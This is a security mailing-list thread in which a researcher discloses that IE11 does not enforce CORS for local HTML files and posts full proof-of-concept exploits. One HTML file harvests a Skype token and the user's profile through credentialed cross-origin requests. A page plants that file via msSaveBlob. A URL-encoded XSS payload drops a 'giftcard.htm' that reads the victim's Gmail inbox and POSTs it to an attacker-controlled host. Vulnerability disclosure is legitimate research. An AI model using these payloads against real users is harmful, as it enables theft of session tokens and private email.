Web Application Security
Re: IE11 is not following CORS specification for local files Oct 05 2016 07:54PM
Ricardo Iramar dos Santos (riramar gmail com) (1 replies)
Re: IE11 is not following CORS specification for local files Oct 07 2016 08:09PM
Ricardo Iramar dos Santos (riramar gmail com)
Same attack using XSS as vector.
Imagine that https://xss-doc.appspot.com is a site about gift cards.
The XSS payload below will create a giftcard.htm file in the default
download folder.
If the victim open the file a GET to
https://mail.google.com/mail/u/0/#inbox will be submitted.
After the GET the file will perform a POST to
http://192.168.1.36/req.php using the GET response as a body.
An attacker would be able to read all the emails in the following requests.
I tested on Win7SP1 and IE11 with all patches and it worked.

https://xss-doc.appspot.com/demo/2?query=%3Cscript%3Eif%28typeof+Blob+%2
1%3D%3D+%22undefined%22%29%7BdemoBlobs%28%29%3B%7Dfunction+demoBlobs%28%
29%7Bvar+blob+%3D+new+Blob%28%5B%22%3Chtml%3E%3Cbody+onload%3D%5C%22go%2
8%29%5C%22%3E%3Cscript%3Efunction+req%28mtd%2Curl%2Cbdy%29%7Bvar+xhr%3Dn
ew+XMLHttpRequest%28%29%3Bxhr.open%28mtd%2Curl%2Cfalse%29%3Bxhr.send%28b
dy%29%3Breturn+xhr.responseText%3B%7D%3Bfunction+go%28%29%7Bvar+gmail%3D
req%28%5C%22GET%5C%22%2C%5C%22https%3A%5C%2F%5C%2Fmail.google.com%5C%2Fm
ail%5C%2Fu%5C%2F0%5C%2F%23inbox%5C%22%2Cnull%29%3Breq%28%5C%22POST%5C%22
%2C%5C%22http%3A%5C%2F%5C%2F192.168.1.36%5C%2Freq.php%5C%22%2Cgmail%29%7
D%3B%3C%5C%2Fscript%3E%3C%5C%2Fbody%3E%3C%5C%2Fhtml%3E%22%5D%29%3B+++win
dow.navigator.msSaveBlob%28blob%2C+%27giftcard.htm%27%29%3B%7D%3C%2Fscri
pt%3E

On Wed, Oct 5, 2016 at 4:54 PM, Ricardo Iramar dos Santos
<riramar (at) gmail (dot) com [email concealed]> wrote:
> I did a small improvement in this attack.
> Using IE File API
> (https://msdn.microsoft.com/en-us/library/hh772315(v=vs.85).aspx) an
> attacker would be able to create a web page with the content below and
> send to a victim.
> A local file with the same content that I sent previously would be
> created on download default folder.
> If the victim perform the three following clicks (Save, Open and Allow
> blocked content) an attacker would be able to perform any request to
> any domain and send the content to a domain which he/she has control.
> If the attacker is a MitM position this could be more intersting.
> Since the attacker could inject this content in a HTTP page and the
> victim will tend to relay on that.
> Next step would be force the victim to click on Save, Open and Allow
> blocked content buttons.
>
> <html>
> <body>
> <h1>Saving Files Locally</h1>
> <script>
> if (typeof Blob !== "undefined") {
> demoBlobs();
> }
> function demoBlobs(){
> var blob = new Blob(["<html><script>function
> createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if
> (\"withCredentials\" in xhr) { xhr.open(method, url, true); } else
> if (typeof XDomainRequest != \"undefined\") { xhr = new
> XDomainRequest(); xhr.open(method, url); } else { xhr = null;
> } return xhr;}function getClientID(text) { return
> text.match('client_id:\"([^\"]*)\",redirect_uri')[1];}function
> getToken(text) { return text.match('<input type=\"hidden\"
> name=\"skypetoken\" value=\"([^\"]*)\"\/>')[1];}function
> makeCorsRequest() { var url0 =
> 'https:\/\/s4w.cdn.skype.com\/0-224-0\/js\/index.js'; var xhr0 =
> createCORSRequest('GET', url0 ); if (!xhr0) {alert('CORS not
> supported');return; } xhr0.withCredentials = true; xhr0.onload =
> function() {var text0 = xhr0.responseText;var clientid =
> getClientID(text0);alert('Client ID: ' + clientid); var url1 =
> 'https:\/\/login.skype.com\/login?client_id='+clientid+'&redirect_uri=ht
tps%3A%2F%2Fweb.skype.com%2F%3Fintcmp%3Daccountweb-_-uktrybeta';
> var xhr1 = createCORSRequest('GET', url1); if (!xhr1) {alert('CORS
> not supported');return; } xhr1.withCredentials = true; xhr1.onload
> = function() {var text1 = xhr1.responseText;var token =
> getToken(text1);alert('Skype Token: ' + token); var url2 =
> 'https:\/\/api.skype.com\/users\/self\/profile'; var xhr2 =
> createCORSRequest('GET', url2); if (!xhr2) {alert('CORS not
> supported');return; } xhr2.withCredentials = true;
> xhr2.setRequestHeader(\"X-Skypetoken\", token); xhr2.onload =
> function() {var text2 = xhr2.responseText;alert('User Profile: ' +
> text2); }; xhr2.onerror = function() {alert('Woops, there was an
> error making the request.'); }; xhr2.send(); }; xhr1.onerror =
> function() {alert('Woops, there was an error making the request.');
> }; xhr1.send(); }; xhr0.onerror = function() {alert('Woops, there
> was an error making the request.'); }; xhr0.send();}<\/script><body
> onload=\"makeCorsRequest()\"><\/body><\/html>"]);
> window.navigator.msSaveBlob(blob, 'testFile.htm');
> }
> </script>
> </body>
> </html>
>
> On Wed, Sep 21, 2016 at 10:10 PM, Ricardo Iramar dos Santos
> <riramar (at) gmail (dot) com [email concealed]> wrote:
>> IE11 is not following CORS specification for local files like Chrome
>> and Firefox.
>> I've contacted Microsoft and they say this is not a security issue so
>> I'm sharing it.
>> From my tests IE11 is not following CORS specifications for local
>> files as supposed to be.
>> In order to prove I've created a malicious html file with the content below.
>>
>> <html>
>> <script>
>> function createCORSRequest(method, url) {
>> var xhr = new XMLHttpRequest();
>> if ("withCredentials" in xhr) {
>> xhr.open(method, url, true);
>> } else if (typeof XDomainRequest != "undefined") {
>> xhr = new XDomainRequest();
>> xhr.open(method, url);
>> } else {
>> xhr = null;
>> }
>> return xhr;
>> }
>>
>> function getClientID(text) {
>> return text.match('client_id:"([^"]*)",redirect_uri')[1];
>> }
>>
>> function getToken(text) {
>> return text.match('<input type="hidden" name="skypetoken"
>> value="([^"]*)"/>')[1];
>> }
>>
>> function makeCorsRequest() {
>>
>> var url0 = 'https://s4w.cdn.skype.com/0-224-0/js/index.js';
>>
>> var xhr0 = createCORSRequest('GET', url0 );
>> if (!xhr0) {
>> alert('CORS not supported');
>> return;
>> }
>>
>> xhr0.withCredentials = true;
>>
>> xhr0.onload = function() {
>> var text0 = xhr0.responseText;
>> var clientid = getClientID(text0);
>> alert('Client ID: ' + clientid);
>>
>> var url1 = 'https://login.skype.com/login?client_id='+clientid+'&redirect_uri=https
%3A%2F%2Fweb.skype.com%2F%3Fintcmp%3Daccountweb-_-uktrybeta';
>>
>> var xhr1 = createCORSRequest('GET', url1);
>> if (!xhr1) {
>> alert('CORS not supported');
>> return;
>> }
>>
>> xhr1.withCredentials = true;
>>
>> xhr1.onload = function() {
>> var text1 = xhr1.responseText;
>> var token = getToken(text1);
>> alert('Skype Token: ' + token);
>> var url2 = 'https://api.skype.com/users/self/profile';
>>
>> var xhr2 = createCORSRequest('GET', url2);
>> if (!xhr2) {
>> alert('CORS not supported');
>> return;
>> }
>>
>> xhr2.withCredentials = true;
>> xhr2.setRequestHeader("X-Skypetoken", token);
>>
>> xhr2.onload = function() {
>> var text2 = xhr2.responseText;
>> alert('User Profile: ' + text2);
>> };
>>
>> xhr2.onerror = function() {
>> alert('Woops, there was an error making the request.');
>> };
>>
>> xhr2.send();
>> };
>>
>> xhr1.onerror = function() {
>> alert('Woops, there was an error making the request.');
>> };
>>
>> xhr1.send();
>> };
>>
>> xhr0.onerror = function() {
>> alert('Woops, there was an error making the request.');
>> };
>>
>> xhr0.send();
>>
>> }
>> </script>
>> <body>
>> <button onclick="makeCorsRequest()">Click me</button>
>> </body>
>> </html>
>>
>> The file above will be able to get an skype token and perform get on
>> the user profile. Instead of using alert() function I could send this
>> information to a domain that I have control.
>> Of course the victim needs to open the file from his local drive or
>> maybe another application can open an IE instance.
>> If the user is logged on a Microsoft account and open the html file
>> with the content above with onload function instead of onclick I'd be
>> able to get his profile data.
>> This is a simple scenario. An attacker would be able to get any data
>> from any domain that do not require a unique ID (e.g. CSRF token)
>> which the attacker doesn't have and is unable to get.
>> If you do the same test on Chrome or Firefox the browser will follow
>> CORS specification and block the response content since no CORS
>> headers is present in the response.
>> I tested on IE11 running on Win7SP1 with all security patches and it
>> worked. On Win10 didn't work. I didn't test in any server with CORS
>> enabled.
>> If you think in another malicious scenario please let me know.
>>
>> Thanks!
>> Ricardo Iramar

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